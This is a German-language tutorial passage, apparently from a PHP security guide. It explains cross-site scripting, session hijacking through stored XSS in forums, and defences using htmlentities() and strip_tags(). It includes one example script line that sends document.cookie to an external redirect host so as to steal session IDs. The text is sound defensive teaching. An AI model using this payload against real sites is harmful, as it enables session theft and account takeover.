XSS - Cross Site Scripting

  • Eine der weitaus häufigsten Sicherheitslücken in webbasierten Systemen ist das sogenannte "Cross Site Scripting" (im folgenden kurz "XSS"). Eine Suche im Archiv von BugTraq oder Full-Disclosure bringt unzählige XSS-Fälle an den Tag, unter anderem in den Webmailsystemen von Hotmail, Yahoo, Gmail und anderen Anbietern. Aber auch Foren und E-Commerce-Produkte sind häufige Ziele für XSS. Dabei ist es meist sehr einfach, XSS wirksam zu unterbinden, da der Angriff sehr einfach zu erkennen und abzuwehren ist.
    Eine klassische XSS-Attacke baut darauf, daß in einem Formular oder im Querystring HTML-Code übergeben werden kann, der dann auf einer der Folgeseiten als Inhalt der Seite angezeigt wird. Damit wird dieser Code von allen aktuellen Browsern in den Sicherheitskontext des anzeigenden Systems eingeordnet und ermöglicht dem Angreifer Zugriff auf eigentlich geschützte Daten.
    XSS ist dabei so simpel wie effektiv: Besteht die Möglichkeit, HTML-Tags in eine Anwendung einzuschleusen, ist auch meist eine Möglichkeit gegeben, das Tag <script> zu übergeben. Werden die Spitzklammern < und > nicht korrekt ausgefiltert bzw. von der Anwendung nicht in die Entities &lt; und &gt; umgewandelt, ist diese verwundbar. Ein Client wird diesen Benutzer-Input als Teil der Seite interpretieren und entsprechend Scriptcode ausführen.
    Ein typischer Einsatz von XSS ist das Stehlen einer gültigen Session-ID, um die dazugehörige Sitzung (siehe auch unter "Sessions") zu übernehmen. Ein einzeiliges JavaScript bewerkstelligt dies mit einem Code wie etwa <script>self.location.href="http://umleitung.de/?id=" + document.cookie</script>
    Gelingt es dem Angreifer, solchen Code in die Anwendung einzuschleusen, ist die Grundlage für eine erfolgreiche XSS-Attacke bereits gelegt. Er könnte nun dem Opfer eine Mail schicken, die einen mit dem XSS-Code präparierten Link enthält. Damit kann dann die Session-ID eines bestimmten Opfers abgefangen werden.
    Noch interessanter ist für einen Blackhat jedoch die Option, so viele Sessions wie möglich übernehmen zu können - dazu schleust er einfach den XSS-Code in ein verwundbares Forum oder CMS ein und sorgt dafür, daß der entsprechende Beitrag von so vielen authentifizierten Benutzern wie möglich gelesen wird. Durch eine ansprechende Betitelung läßt sich dies leicht bewerkstelligen.
    Auch in <img>-Tags versteckter Scriptcode gilt als XSS und kann geeignet sein, um Sessions zu entführen.
    Ein wirksamer Schutz gegen XSS ist recht einfach: Jegliche Benutzereingabe sollte, bevor sie in einem Subsystem gespeichert oder auf einer Folgeseite angezeigt wird, um Scriptcode bereinigt und zu diesem Zwecke zum Beispiel mit den PHP-Funktionen htmlentities() oder strip_tags() behandelt werden. Die Funktion htmlentities() wandelt alle Sonderzeichen in die entsprechenden Entities - darunter auch < und >. Der Client rendert nun statt eines Tags die tatsächlichen Spitzklammern und führt damit kein Script mehr aus. strip_Tags() hingegen entfernt rigoros alles, was sie für ein SGML-Tag hält, also </script> genauso wie </foo> oder <bar>.
    Die Nutzung beider Funktionen empfiehlt sich dort nicht, wo dem Benutzer die Möglichkeit gegeben werden soll, HTML-formatierten Text an die Anwendung zu übergeben. Hier muß, um gegen XSS gewappnet zu sein, eine Überprüfung auf alle XSS-Möglichkeiten vorgenommen werden. Diese Aufgabe ist relativ umfangreich, wie das "XSS Cheat Sheet" [7] demonstriert.